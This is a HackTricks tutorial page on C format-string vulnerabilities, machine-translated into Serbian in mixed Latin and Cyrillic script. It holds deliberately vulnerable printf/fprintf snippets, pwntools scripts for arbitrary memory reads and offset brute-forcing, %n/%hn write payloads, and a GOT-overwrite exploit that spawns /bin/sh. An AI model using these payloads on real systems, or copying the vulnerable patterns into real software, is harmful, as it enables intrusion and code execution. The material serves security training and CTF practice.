hacktricks/binary-exploitation/format-strings
2024-11-12 12:21:54 +00:00
..
format-strings-arbitrary-read-example.md Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb 2024-07-18 17:42:29 +00:00
format-strings-template.md Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb 2024-07-18 17:42:29 +00:00
README.md Translated ['binary-exploitation/format-strings/README.md', 'binary-expl 2024-11-12 12:21:54 +00:00

Format Strings

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

{% embed url="https://www.stmcyber.com/careers" %}

Basic Information

U C printf je funkcija koja se može koristiti za štampanje nekog stringa. Prvi parametar koji ova funkcija očekuje je sirovi tekst sa formatima. Sledeći parametri koji se očekuju su vrednosti za zamenu formatera iz sirovog teksta.

Druge ranjive funkcije su sprintf() i fprintf().

Ranjivost se pojavljuje kada se tekst napadača koristi kao prvi argument ovoj funkciji. Napadač će moći da kreira poseban unos koji zloupotrebljava printf format string mogućnosti da pročita i zapiše bilo koje podatke na bilo kojoj adresi (čitljivo/zapisivo). Na ovaj način će moći da izvrši proizvoljan kod.

Formatters:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Primeri:

  • Ranjivi primer:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normalna upotreba:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Sa nedostajućim argumentima:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf ranjiv:
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Pristupanje pokazivačima

Format %<n>$x, gde je n broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:

printf("%x %x %x %x")

и могли бисте читати од првог до четвртог параметра.

Или бисте могли да урадите:

printf("%4$x")

и читајте директно четврту.

Обратите пажњу да нападач контролише printf параметар, што у основи значи да ће његов унос бити у стеку када се позове printf, што значи да би могао да запише специфичне адресе у меморији у стеку.

{% hint style="danger" %} Нападач који контролише овај унос, моћи ће да дода произвољну адресу у стек и натера printf да им приступи. У следећем одељку биће објашњено како користити ово понашање. {% endhint %}

Произвољно Читање

Могуће је користити форматор %n$s да натера printf да добије адресу смештену у n позицији, следећи је и одштампа као да је то стринг (одштампа до 0x00). Дакле, ако је базна адреса бинарног фајла 0x8048000, и знамо да кориснички унос почиње у 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Napomena da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut u 0x00 na kraju te adrese. {% endhint %}

Pronađi offset

Da biste pronašli offset do vašeg ulaza, možete poslati 4 ili 8 bajtova (0x41414141) praćenih %1$x i povećavati vrednost dok ne dobijete A's.

Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Koliko je korisno

Arbitrarna čitanja mogu biti korisna za:

* **Dump** **binarne** datoteke iz memorije
* **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Arbitrarno Pisanje**

Formatirac **`%<num>$n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi **`%<num>$n`** da piše proizvoljan broj na proizvoljnu adresu.

Na sreću, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu koju pokazuje `num` pozicija**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Međutim, imajte na umu da se obično za pisanje adrese kao što je 0x08049724 (što je OGROMAN broj za pisanje odjednom), koristi $hn umesto $n. To omogućava da se napiše samo 2 Bajte. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.

Zbog toga, ova ranjivost omogućava pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).

U ovom primeru, cilj će biti da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarno pisanje za izvršavanje:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Mi ćemo prepisati funkciju koja prima svoje argumente od korisnika i usmeriti je na system funkciju.
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo napišete 2Bajta adrese, a zatim ostala 2. Da biste to uradili, koristi se $hn.

  • HOB se poziva na 2 viša bajta adrese
  • LOB se poziva na 2 niža bajta adrese

Zatim, zbog načina na koji funkcioniše format string, morate prvo napisati manji od [HOB, LOB] i zatim drugi.

Ako je HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Ako je HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntools Šablon

Možete pronaći šablon za pripremu eksploita za ovu vrstu ranjivosti u:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Ili ovaj osnovni primer iz ovde:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Moguće je zloupotrebiti akcije pisanja ranjivosti format string-a da se piše u adrese steka i iskoristi ranjivost tipa buffer overflow.

Other Examples & References

Ako ste zainteresovani za hacking karijeru i da hakujete nehakovano - zapošljavamo! (potrebno je tečno pisanje i govorenje poljskog).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks